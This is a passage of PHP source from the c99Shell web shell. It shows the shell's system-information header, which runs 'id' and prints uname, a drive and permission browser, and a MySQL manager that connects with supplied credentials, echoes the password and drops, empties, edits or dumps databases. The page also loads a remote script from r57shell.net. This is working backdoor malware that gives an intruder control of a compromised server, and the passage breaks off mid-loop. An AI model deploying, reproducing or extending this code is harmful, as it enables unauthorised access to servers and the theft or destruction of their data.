if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
@ini_set("highlight.bg",$highlight_bg); //FFFFFF
@ini_set("highlight.comment",$highlight_comment); //#FF8000
@ini_set("highlight.default",$highlight_default); //#0000BB
@ini_set("highlight.html",$highlight_html); //#000000
@ini_set("highlight.keyword",$highlight_keyword); //#007700
@ini_set("highlight.string",$highlight_string); //#DD0000
if (!is_array($actbox)) {$actbox = array();}
$dspact = $act = htmlspecialchars($act);
$disp_fullpath = $ls_arr = $notls = null;
$ud = urlencode($d);
?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><SCRIPT SRC=http://r57shell.net/404/ittir.js></SCRIPT><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>c99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
$d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
$d = str_replace("\\\\","\\",$d);
$dispd = htmlspecialchars($d);
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b)
{
 $t = "";
 $j = 0;
 foreach ($e as $r)
 {
  $t.= $r.DIRECTORY_SEPARATOR;
  if ($j == $i) {break;}
  $j++;
 }
 echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>";
 $i++;
}
echo "&nbsp;&nbsp;&nbsp;";
if (is_writable($d))
{
 $wd = TRUE;
 $wdt = "<font color=green>[ ok ]</font>";
 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else
{
 $wd = FALSE;
 $wdt = "<font color=red>[ Read-Only ]</font>";
 echo "<b>".view_perms_color($d)."</b>";
}
if (is_callable("disk_free_space"))
{
 $free = disk_free_space($d);
 $total = disk_total_space($d);
 if ($free === FALSE) {$free = 0;}
 if ($total === FALSE) {$total = 0;}
 if ($free < 0) {$free = 0;}
 if ($total < 0) {$total = 0;}
 $used = $total-$free;
 $free_percent = round(100/($total/$free),2);
 echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";
}
echo "<br>";
$letters = "";
if ($win)
{
 $v = explode("\\",$d);
 $v = $v[0];
 foreach (range("a","z") as $letter)
 {
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);
  if (!$bool) {$bool = is_dir($letter.":\\");}
  if ($bool)
  {
   $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";
   if ($letter.":" != $v) {$letters .= $letter;}
   else {$letters .= "<font color=green>".$letter."</font>";}
   $letters .= " ]</a> ";
  }
 }
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";}
}
if (count($quicklaunch) > 0)
{
 foreach($quicklaunch as $item)
 {
  $item[1] = str_replace("%d",urlencode($d),$item[1]);
  $item[1] = str_replace("%sort",$sort,$item[1]);
  $v = realpath($d."..");
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";
 }
}
echo "</p></td></tr></table><br>";
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";}
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">";
if ($act == "") {$act = $dspact = "ls";}
if ($act == "sql")
{
 $sql_surl = $surl."act=sql";
 if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
 if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
 if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
 if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
 if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
 $sql_surl .= "&";
 ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php
 if ($sql_server)
 {
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  $err = mysql_smarterror();
  @mysql_select_db($sql_db,$sql_sock);
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
 }
 else {$sql_sock = FALSE;}
 echo "<b>SQL Manager:</b><br>";
 if (!$sql_sock)
 {
  if (!$sql_server) {echo "NO CONNECTION";}
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}
 }
 else
 {
  $sqlquicklaunch = array();
  $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>";
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}
  echo "</center>";
 }
 echo "</td></tr><tr>";
 if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php }
 else
 {
  //Start left panel
  if (!empty($sql_db))
  {
   ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_tables($sql_db);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
    $c = 0;
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
    if (!$c) {echo "No tables found in database.";}
   }
  }
  else
  {
   ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php
   $result = mysql_list_dbs($sql_sock);
   if (!$result) {echo mysql_smarterror();}
   else
   {
    ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php
    $c = 0;
    $dbs = "";
    while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
    echo "<option value=\"\">Databases (".$c.")</option>";
    echo $dbs;
   }
   ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php
  }
  //End left panel
  echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">";
  //Start center panel
  $diplay = TRUE;
  if ($sql_db)
  {
   if (!is_numeric($c)) {$c = 0;}
   if ($c == 0) {$c = "no";}
   echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
   echo "</b></center>";
   $acts = array("","dump");
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
   elseif ($sql_tbl_act == "insert")
   {
    if ($sql_tbl_insert_radio == 1)
    {
     $keys = "";
     $akeys = array_keys($sql_tbl_insert);
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
     $values = "";
     $i = 0;
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
    elseif ($sql_tbl_insert_radio == 2)
    {
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
     $result = mysql_query($sql_query) or print(mysql_smarterror());
     $result = mysql_fetch_array($result, MYSQL_ASSOC);
     $sql_act = "query";
     $sql_tbl_act = "browse";
    }
   }
   if ($sql_act == "query")
   {
    echo "<hr size=\"1\" noshade>";
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
    if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";}
   }
   if (in_array($sql_act,$acts))
   {
    ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php
    if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
    if ($sql_act == "newtbl")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
    }
    else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
   }
   elseif ($sql_act == "dump")
   {
    if (empty($submit))
    {
     $diplay = FALSE;
     echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
     $v = join (";",$dmptbls);
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
     if ($dump_file) {$tmp = $dump_file;}
     else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
     echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
     echo "</form>";
    }
    else
    {
     $diplay = TRUE;
     $set = array();
     $set["sock"] = $sql_sock;
     $set["db"] = $sql_db;
     $dump_out = "download";
     $set["print"] = 0;
     $set["nl2br"] = 0;
     $set[""] = 0;
     $set["file"] = $dump_file;
     $set["add_drop"] = TRUE;
     $set["onlytabs"] = array();
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
     $ret = mysql_dump($set);
     if ($sql_dump_download)
     {
      @ob_clean();
      header("Content-type: application/octet-stream");
      header("Content-length: ".strlen($ret));
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
      echo $ret;
      exit;
     }
     elseif ($sql_dump_savetofile)
     {
      $fp = fopen($sql_dump_file,"w");
      if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
      else
      {
       fwrite($fp,$ret);
       fclose($fp);
       echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
      }
     }
     else {echo "<b>Dump: nothing to do!</b>";}
    }
   }
   if ($diplay)
   {
    if (!empty($sql_tbl))
    {
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
     $count_row = mysql_fetch_array($count);
     mysql_free_result($count);
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
     $tbl_struct_fields = array();
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
     $perpage = $sql_tbl_le - $sql_tbl_ls;
     if (!is_numeric($perpage)) {$perpage = 10;}
     $numpages = $count_row[0]/$perpage;
     $e = explode(" ",$sql_order);
     if (count($e) == 2)
     {
      if ($e[0] == "d") {$asc_desc = "DESC";}
      else {$asc_desc = "ASC";}
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
     }
     else {$v = "";}
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
     $result = mysql_query($query) or print(mysql_smarterror());
     echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
     if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
     if ($sql_tbl_act == "insert")
     {
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
      if (!empty($sql_tbl_insert_radio))
      {

      }
      else
      {
       echo "<br><br><b>Inserting row into table:</b><br>";
       if (!empty($sql_tbl_insert_q))
       {
        $sql_query = "SELECT * FROM `".$sql_tbl."`";
        $sql_query .= " WHERE".$sql_tbl_insert_q;
        $sql_query .= " LIMIT 1;";
        $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
        $values = mysql_fetch_assoc($result);
        mysql_free_result($result);
       }
       else {$values = array();}
       echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
       foreach ($tbl_struct_fields as $field)
       {
        $name = $field["Field"];
        if (empty($sql_tbl_insert_q)) {$v = "";}
        echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
        $i++;
       }
       echo "</table><br>";
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
       echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
      }
     }
     if ($sql_tbl_act == "browse")
     {
      $sql_tbl_ls = abs($sql_tbl_ls);
      $sql_tbl_le = abs($sql_tbl_le);
      echo "<hr size=\"1\" noshade>";
      echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
      $b = 0;
      for($i=0;$i<$numpages;$i++)
      {
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
       echo $i;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
       else {echo "&nbsp;";}
      }
      if ($i == 0) {echo "empty";}
